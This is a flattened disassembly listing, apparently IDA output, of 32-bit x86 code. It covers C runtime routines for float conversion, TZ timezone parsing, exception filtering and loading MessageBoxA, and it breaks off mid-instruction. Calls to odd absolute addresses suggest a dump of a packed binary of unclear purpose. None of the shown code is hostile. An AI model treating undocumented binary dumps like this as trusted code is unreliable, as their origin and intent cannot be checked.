var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_424329: ; CODE XREF: sub_4242F3+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_424329 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_42435B: ; CODE XREF: sub_4242F3+86j cmp ebx, edi jl short loc_42436E mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_424375 ; --------------------------------------------------------------------------- loc_42436E: ; CODE XREF: sub_4242F3+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_424375: ; CODE XREF: sub_4242F3+79j dec ebx sub ecx, 4 jns short loc_42435B pop edi pop esi pop ebx leave retn sub_4242F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424380 proc near ; CODE XREF: sub_4244EC+Dp ; sub_424502+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_4243ED lea eax, [ebp+var_C] xor esi, esi push eax call sub_4242D8 test eax, eax pop ecx jnz loc_4244AC lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx loc_4243E5: ; CODE XREF: sub_424380+E4j push 2 loc_4243E7: ; CODE XREF: sub_424380+110j pop eax jmp loc_4244AE ; --------------------------------------------------------------------------- loc_4243ED: ; CODE XREF: sub_424380+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_4242B1 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 add esp, 10h test eax, eax jz short loc_42440E inc ebx loc_42440E: ; CODE XREF: sub_424380+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_424426 lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx jmp short loc_424462 ; --------------------------------------------------------------------------- loc_424426: ; CODE XREF: sub_424380+98j cmp ebx, eax jg short loc_424469 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_4242B1 lea eax, [ebp+var_C] push esi push eax call sub_4242F3 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_4242F3 add esp, 20h loc_424462: ; CODE XREF: sub_424380+A4j xor esi, esi jmp loc_4243E5 ; --------------------------------------------------------------------------- loc_424469: ; CODE XREF: sub_424380+A8j cmp ebx, [edi] jl short loc_424495 lea eax, [ebp+var_C] push eax call sub_4242CC push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_4242F3 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_4243E7 ; --------------------------------------------------------------------------- loc_424495: ; CODE XREF: sub_424380+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_4242F3 pop ecx pop ecx loc_4244AC: ; CODE XREF: sub_424380+55j xor eax, eax loc_4244AE: ; CODE XREF: sub_424380+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_4244DD mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_4244E7 ; --------------------------------------------------------------------------- loc_4244DD: ; CODE XREF: sub_424380+14Ej cmp edi, 20h jnz short loc_4244E7 mov ecx, [ebp+arg_4] mov [ecx], esi loc_4244E7: ; CODE XREF: sub_424380+15Bj ; sub_424380+160j pop edi pop esi pop ebx leave retn sub_424380 endp ; =============== S U B R O U T I N E ======================================= sub_4244EC proc near ; CODE XREF: sub_424518+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43CC78 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_4244EC endp ; =============== S U B R O U T I N E ======================================= sub_424502 proc near ; CODE XREF: sub_424545+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43CC90 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_424502 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424518 proc near ; CODE XREF: sub_42199B+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_4244EC add esp, 24h leave retn sub_424518 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424545 proc near ; CODE XREF: sub_42199B+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424502 add esp, 24h leave retn sub_424545 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424572 proc near ; CODE XREF: sub_4219D9+65p ; sub_421ADD+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_4245AF mov [ebp+arg_0], ebx xor ebx, ebx loc_424595: ; CODE XREF: sub_424572+38j mov dl, [ecx] test dl, dl jz short loc_4245A1 movsx edx, dl inc ecx jmp short loc_4245A4 ; --------------------------------------------------------------------------- loc_4245A1: ; CODE XREF: sub_424572+27j push 30h pop edx loc_4245A4: ; CODE XREF: sub_424572+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_424595 mov edx, [ebp+arg_8] loc_4245AF: ; CODE XREF: sub_424572+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_4245C8 cmp byte ptr [ecx], 35h jl short loc_4245C8 loc_4245BB: ; CODE XREF: sub_424572+52j dec eax cmp byte ptr [eax], 39h jnz short loc_4245C6 mov byte ptr [eax], 30h jmp short loc_4245BB ; --------------------------------------------------------------------------- loc_4245C6: ; CODE XREF: sub_424572+4Dj inc byte ptr [eax] loc_4245C8: ; CODE XREF: sub_424572+42j ; sub_424572+47j cmp byte ptr [esi], 31h jnz short loc_4245D2 inc dword ptr [edx+4] jmp short loc_4245E4 ; --------------------------------------------------------------------------- loc_4245D2: ; CODE XREF: sub_424572+59j push edi call sub_41AFE0 inc eax push eax push edi push esi call sub_41CC90 add esp, 10h loc_4245E4: ; CODE XREF: sub_424572+5Ej pop edi pop esi pop ebx pop ebp retn sub_424572 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4245E9 proc near ; CODE XREF: sub_4219D9+3Fp ; sub_421ADD+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_42464D pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4DB470 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_4256C2 mov dword_4DB498, eax add esp, 18h movsx eax, byte_4DB472 mov dword_4DB490, eax pop edi movsx eax, word_4DB470 mov dword_4DB494, eax mov dword_4DB49C, offset dword_4DB474 mov eax, offset dword_4DB490 pop esi leave retn sub_4245E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42464D proc near ; CODE XREF: sub_4245E9+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_42469B cmp ebx, edi jz short loc_424694 lea edi, [ecx+3C00h] jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_424694: ; CODE XREF: sub_42464D+3Dj mov edi, 7FFFh jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_42469B: ; CODE XREF: sub_42464D+39j xor ebx, ebx cmp eax, ebx jnz short loc_4246B3 cmp edx, ebx jnz short loc_4246B3 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_4246FE ; --------------------------------------------------------------------------- loc_4246B3: ; CODE XREF: sub_42464D+52j ; sub_42464D+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_4246BC: ; CODE XREF: sub_42464D+45j ; sub_42464D+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_4246D4: ; CODE XREF: sub_42464D+A6j test ecx, esi jnz short loc_4246F5 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_4246D4 ; --------------------------------------------------------------------------- loc_4246F5: ; CODE XREF: sub_42464D+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_4246FE: ; CODE XREF: sub_42464D+64j pop edi pop esi pop ebx leave retn sub_42464D endp ; --------------------------------------------------------------------------- push 2 call sub_41DA29 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_42470C proc near ; DATA XREF: ___:0043C8B8o ; ___:0043D118o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_42472F cmp dword ptr [eax+10h], 3 jnz short loc_42472F cmp dword ptr [eax+14h], 19930520h jnz short loc_42472F jmp sub_42255C ; --------------------------------------------------------------------------- loc_42472F: ; CODE XREF: sub_42470C+Dj ; sub_42470C+13j ... mov eax, dword_4DB4A0 test eax, eax jz short loc_42474C push eax call sub_4247A8 test eax, eax pop ecx jz short loc_42474C push esi call dword_4DB4A0 jmp short loc_42474E ; --------------------------------------------------------------------------- loc_42474C: ; CODE XREF: sub_42470C+2Aj ; sub_42470C+35j xor eax, eax loc_42474E: ; CODE XREF: sub_42470C+3Ej pop esi retn 4 sub_42470C endp ; --------------------------------------------------------------------------- word_424752 dw 0C68h ; DATA XREF: ___:00429028o ; --------------------------------------------------------------------------- inc edi inc edx add [eax+1DC7CCE8h], dl add ah, byte ptr dword_4DB4A0[ebx] retn ; --------------------------------------------------------------------------- byte_424763 db 0FFh ; DATA XREF: ___:00429040o dd 4DB4A035h, 0BAE89000h, 0C3021DC7h ; =============== S U B R O U T I N E ======================================= sub_424770 proc near ; CODE XREF: sub_421DB1+6Bp ; sub_4222C2+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 2600A73h test eax, eax jz short loc_424788 xor esi, esi loc_424788: ; CODE XREF: sub_424770+14j mov eax, esi pop esi retn sub_424770 endp ; =============== S U B R O U T I N E ======================================= sub_42478C proc near ; CODE XREF: sub_4222C2+73p ; sub_4222C2+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 28F0000h test eax, eax jz short loc_4247A4 xor esi, esi loc_4247A4: ; CODE XREF: sub_42478C+14j mov eax, esi pop esi retn sub_42478C endp ; =============== S U B R O U T I N E ======================================= sub_4247A8 proc near ; CODE XREF: sub_4222C2+15Bp ; sub_42470C+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] nop call near ptr 2600A2Fh test eax, eax jz short loc_4247BC xor esi, esi loc_4247BC: ; CODE XREF: sub_4247A8+10j mov eax, esi pop esi retn sub_4247A8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42255C loc_4247C0: ; CODE XREF: sub_42255C:loc_4225ADj push 0Ah call sub_4235C9 push 16h call sub_425955 pop ecx pop ecx push 3 call sub_41B7C2 ; END OF FUNCTION CHUNK FOR sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4247D7 proc near ; CODE XREF: sub_422669:loc_4226A8p cmp dword_4DB560, 0 jnz short locret_4247EB call sub_4247EC inc dword_4DB560 locret_4247EB: ; CODE XREF: sub_4247D7+7j retn sub_4247D7 endp ; =============== S U B R O U T I N E ======================================= sub_4247EC proc near ; CODE XREF: sub_4247D7+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_4DB4A8, ebp mov dword_43CD50, ebx mov dword_43CD40, ebx call sub_425AC7 mov esi, eax pop ecx cmp esi, ebp jnz loc_424915 push offset dword_4DB4B0 nop call near ptr 28A0000h cmp eax, ebx jz loc_424A44 mov eax, dword_4DB4B0 mov ecx, dword_4DB504 imul eax, 3Ch cmp word_4DB4F6, bp push 1 pop edx mov dword_43CCA8, eax mov dword_4DB4A8, edx jz short loc_424863 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_43CCA8, eax loc_424863: ; CODE XREF: sub_4247EC+69j cmp word_4DB54A, bp jz short loc_424887 mov eax, dword_4DB558 cmp eax, ebp jz short loc_424887 sub eax, ecx mov dword_43CCAC, edx imul eax, 3Ch mov dword_43CCB0, eax jmp short loc_424893 ; --------------------------------------------------------------------------- loc_424887: ; CODE XREF: sub_4247EC+7Ej ; sub_4247EC+87j mov dword_43CCAC, ebp mov dword_43CCB0, ebp loc_424893: ; CODE XREF: sub_4247EC+99j lea eax, [esp+14h+var_4] mov esi, dword_42717C push eax push ebp push 3Fh mov edi, 220h push off_43CD34 push ebx push offset dword_4DB4B4 push edi push dword_4DB344 call esi test eax, eax jz short loc_4248D0 cmp [esp+14h+var_4], ebp jnz short loc_4248D0 mov eax, off_43CD34 and byte ptr [eax+3Fh], 0 jmp short loc_4248D8 ; --------------------------------------------------------------------------- loc_4248D0: ; CODE XREF: sub_4247EC+D1j ; sub_4247EC+D7j mov eax, off_43CD34 and byte ptr [eax], 0 loc_4248D8: ; CODE XREF: sub_4247EC+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_43CD38 push ebx push offset dword_4DB508 push edi push dword_4DB344 call esi test eax, eax jz loc_424A3C cmp [esp+14h+var_4], ebp jnz loc_424A3C mov eax, off_43CD38 and byte ptr [eax+3Fh], 0 jmp loc_424A44 ; --------------------------------------------------------------------------- loc_424915: ; CODE XREF: sub_4247EC+2Dj cmp byte ptr [esi], 0 jz loc_424A44 mov eax, dword_4DB55C cmp eax, ebp jz short loc_424938 push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_424A44 loc_424938: ; CODE XREF: sub_4247EC+139j push dword_4DB55C call sub_41B0B1 push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 add esp, 0Ch cmp eax, ebp mov dword_4DB55C, eax jz loc_424A44 push esi push eax call sub_41BEB0 push 3 push esi push off_43CD34 call sub_41B5F0 mov eax, off_43CD34 add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_42498D push 1 inc esi pop edi loc_42498D: ; CODE XREF: sub_4247EC+19Bj push esi call sub_41B6EE pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_43CCA8, ecx loc_4249A4: ; CODE XREF: sub_4247EC+1C7j mov al, [esi] cmp al, 2Bh jz short loc_4249B2 cmp al, bl jl short loc_4249B5 cmp al, 39h jg short loc_4249B5 loc_4249B2: ; CODE XREF: sub_4247EC+1BCj inc esi jmp short loc_4249A4 ; --------------------------------------------------------------------------- loc_4249B5: ; CODE XREF: sub_4247EC+1C0j ; sub_4247EC+1C4j cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE imul eax, 3Ch pop ecx mov ecx, dword_43CCA8 add ecx, eax mov dword_43CCA8, ecx loc_4249D3: ; CODE XREF: sub_4247EC+1F2j mov al, [esi] cmp al, bl jl short loc_4249E0 cmp al, 39h jg short loc_4249E0 inc esi jmp short loc_4249D3 ; --------------------------------------------------------------------------- loc_4249E0: ; CODE XREF: sub_4247EC+1EBj ; sub_4247EC+1EFj cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE pop ecx mov ecx, dword_43CCA8 add ecx, eax mov dword_43CCA8, ecx loc_4249FB: ; CODE XREF: sub_4247EC+21Aj mov al, [esi] cmp al, bl jl short loc_424A08 cmp al, 39h jg short loc_424A08 inc esi jmp short loc_4249FB ; --------------------------------------------------------------------------- loc_424A08: ; CODE XREF: sub_4247EC+1CCj ; sub_4247EC+1F7j ... cmp edi, ebp jz short loc_424A14 neg ecx mov dword_43CCA8, ecx loc_424A14: ; CODE XREF: sub_4247EC+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_43CCAC, eax jz short loc_424A3C push 3 push esi push off_43CD38 call sub_41B5F0 mov eax, off_43CD38 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_424A44 ; --------------------------------------------------------------------------- loc_424A3C: ; CODE XREF: sub_4247EC+10Bj ; sub_4247EC+115j ... mov eax, off_43CD38 and byte ptr [eax], 0 loc_424A44: ; CODE XREF: sub_4247EC+40j ; sub_4247EC+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_4247EC endp ; =============== S U B R O U T I N E ======================================= sub_424A4A proc near ; CODE XREF: sub_422669+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_43CCAC, edi jnz short loc_424A5E loc_424A57: ; CODE XREF: sub_424A4A+148j ; sub_424A4A+150j ... xor eax, eax jmp loc_424BAA ; --------------------------------------------------------------------------- loc_424A5E: ; CODE XREF: sub_424A4A+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_43CD40 jnz short loc_424A7C cmp eax, dword_43CD50 jz loc_424B7E loc_424A7C: ; CODE XREF: sub_424A4A+24j cmp dword_4DB4A8, edi jz loc_424B54 movzx ecx, word_4DB556 push ecx cmp word_4DB548, di movzx ecx, word_4DB554 push ecx movzx ecx, word_4DB552 push ecx movzx ecx, word_4DB550 push ecx jnz short loc_424ACE movzx ecx, word_4DB54C push edi push ecx movzx ecx, word_4DB54E push ecx movzx ecx, word_4DB54A push ecx push eax push ebx jmp short loc_424AE2 ; --------------------------------------------------------------------------- loc_424ACE: ; CODE XREF: sub_424A4A+65j movzx ecx, word_4DB54E push ecx push edi movzx ecx, word_4DB54A push edi push ecx push eax push edi loc_424AE2: ; CODE XREF: sub_424A4A+82j push ebx call sub_424BF6 movzx eax, word_4DB502 add esp, 2Ch cmp word_4DB4F4, di push eax movzx eax, word_4DB500 push eax movzx eax, word_4DB4FE push eax movzx eax, word_4DB4FC push eax jnz short loc_424B3C movzx eax, word_4DB4F8 push edi push eax movzx eax, word_4DB4FA push eax movzx eax, word_4DB4F6 push eax push dword ptr [esi+14h] push ebx loc_424B31: ; CODE XREF: sub_424A4A+108j push edi call sub_424BF6 add esp, 2Ch jmp short loc_424B7E ; --------------------------------------------------------------------------- loc_424B3C: ; CODE XREF: sub_424A4A+C8j movzx eax, word_4DB4FA push eax push edi movzx eax, word_4DB4F6 push edi push eax push dword ptr [esi+14h] push edi jmp short loc_424B31 ; --------------------------------------------------------------------------- loc_424B54: ; CODE XREF: sub_424A4A+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_424BF6 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_424BF6 add esp, 58h loc_424B7E: ; CODE XREF: sub_424A4A+2Cj ; sub_424A4A+F0j mov edx, dword_43CD44 mov eax, dword_43CD54 mov ecx, [esi+1Ch] cmp edx, eax jge short loc_424BAE cmp ecx, edx jl loc_424A57 cmp ecx, eax jg loc_424A57 cmp ecx, edx jle short loc_424BC2 cmp ecx, eax jge short loc_424BC2 loc_424BA8: ; CODE XREF: sub_424A4A+166j ; sub_424A4A+16Aj mov eax, ebx loc_424BAA: ; CODE XREF: sub_424A4A+Fj ; sub_424A4A+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424BAE: ; CODE XREF: sub_424A4A+144j cmp ecx, eax jl short loc_424BA8 cmp ecx, edx jg short loc_424BA8 cmp ecx, eax jle short loc_424BC2 cmp ecx, edx jl loc_424A57 loc_424BC2: ; CODE XREF: sub_424A4A+158j ; sub_424A4A+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_424BE9 xor ecx, ecx cmp eax, dword_43CD48 setnl cl loc_424BE5: ; CODE XREF: sub_424A4A+1AAj mov eax, ecx jmp short loc_424BAA ; --------------------------------------------------------------------------- loc_424BE9: ; CODE XREF: sub_424A4A+18Ej xor ecx, ecx cmp eax, dword_43CD58 setl cl jmp short loc_424BE5 sub_424A4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424BF6 proc near ; CODE XREF: sub_424A4A+99p ; sub_424A4A+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_424C91 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_424C21 shl esi, 2 mov eax, dword_43CD58[esi] jmp short loc_424C2A ; --------------------------------------------------------------------------- loc_424C21: ; CODE XREF: sub_424BF6+1Ej shl esi, 2 mov eax, dword_43CD8C[esi] loc_424C2A: ; CODE XREF: sub_424BF6+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_424C64 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_424C6E ; --------------------------------------------------------------------------- loc_424C64: ; CODE XREF: sub_424BF6+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_424C6E: ; CODE XREF: sub_424BF6+6Cj cmp [ebp+arg_10], 5 jnz short loc_424CAC cmp [ebp+arg_8], 0 jnz short loc_424C82 mov esi, dword_43CD5C[esi] jmp short loc_424C88 ; --------------------------------------------------------------------------- loc_424C82: ; CODE XREF: sub_424BF6+82j mov esi, dword_43CD90[esi] loc_424C88: ; CODE XREF: sub_424BF6+8Aj cmp ecx, esi jle short loc_424CAC sub ecx, 7 jmp short loc_424CAC ; --------------------------------------------------------------------------- loc_424C91: ; CODE XREF: sub_424BF6+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_424CA2 mov ecx, dword_43CD58[eax*4] jmp short loc_424CA9 ; --------------------------------------------------------------------------- loc_424CA2: ; CODE XREF: sub_424BF6+A1j mov ecx, dword_43CD8C[eax*4] loc_424CA9: ; CODE XREF: sub_424BF6+AAj add ecx, [ebp+arg_18] loc_424CAC: ; CODE XREF: sub_424BF6+7Cj ; sub_424BF6+94j ... cmp [ebp+arg_0], 1 jnz short loc_424CDD mov eax, [ebp+arg_1C] mov dword_43CD44, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_43CD40, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43CD48, eax jmp short loc_424D32 ; --------------------------------------------------------------------------- loc_424CDD: ; CODE XREF: sub_424BF6+BAj mov eax, [ebp+arg_1C] mov dword_43CD54, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_43CCB0 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43CD58, eax jns short loc_424D15 add eax, 5265C00h dec ecx mov dword_43CD58, eax jmp short loc_424D26 ; --------------------------------------------------------------------------- loc_424D15: ; CODE XREF: sub_424BF6+110j mov edx, 5265C00h cmp eax, edx jl short loc_424D2C sub eax, edx inc ecx mov dword_43CD58, eax loc_424D26: ; CODE XREF: sub_424BF6+11Dj mov dword_43CD54, ecx loc_424D2C: ; CODE XREF: sub_424BF6+126j mov dword_43CD50, ebx loc_424D32: ; CODE XREF: sub_424BF6+E5j pop esi pop ebx pop ebp retn sub_424BF6 endp ; =============== S U B R O U T I N E ======================================= sub_424D36 proc near ; CODE XREF: ___:00422E9Dp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_424D47 add esp, 0Ch retn sub_424D36 endp ; =============== S U B R O U T I N E ======================================= sub_424D47 proc near ; CODE XREF: sub_424D36+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4DC7E1[eax], cl jnz short loc_424D74 cmp [esp+arg_4], 0 jz short loc_424D6D movzx eax, word_43C302[eax*2] and eax, [esp+arg_4] jmp short loc_424D6F ; --------------------------------------------------------------------------- loc_424D6D: ; CODE XREF: sub_424D47+16j xor eax, eax loc_424D6F: ; CODE XREF: sub_424D47+24j test eax, eax jnz short loc_424D74 retn ; --------------------------------------------------------------------------- loc_424D74: ; CODE XREF: sub_424D47+Fj ; sub_424D47+2Aj push 1 pop eax retn sub_424D47 endp ; =============== S U B R O U T I N E ======================================= sub_424D78 proc near ; CODE XREF: sub_4235C9+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4DB564, ebx push esi push edi jnz short loc_424DC7 push offset aUser32_dll ; "user32.dll" call near ptr 26B0BEDh nop mov edi, eax cmp edi, ebx jz short loc_424DFD mov esi, dword_4270BC push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_4DB564, eax jz short loc_424DFD push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4DB568, eax call esi mov dword_4DB56C, eax loc_424DC7: ; CODE XREF: sub_424D78+Bj mov eax, dword_4DB568 test eax, eax jz short loc_424DE6 call eax mov ebx, eax test ebx, ebx jz short loc_424DE6 mov eax, dword_4DB56C test eax, eax jz short loc_424DE6 push ebx call eax mov ebx, eax loc_424DE6: ; CODE XREF: sub_424D78+56j ; sub_424D78+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4DB564 loc_424DF9: ; CODE XREF: sub_424D78+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424DFD: ; CODE XREF: sub_424D78+1Cj ; sub_424D78+33j xor eax, eax jmp short loc_424DF9 sub_424D78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424E01 proc near ; CODE XREF: sub_423936+22p ; sub_423936+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_424E22 test esi, esi jnz short loc_424E1C push 1 pop esi loc_424E1C: ; CODE XREF: sub_424E01+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_424E22: ; CODE XREF: sub_424E01+12j ; sub_424E01+94j xor edi, edi cmp esi, 0FFFFFFE0h ja 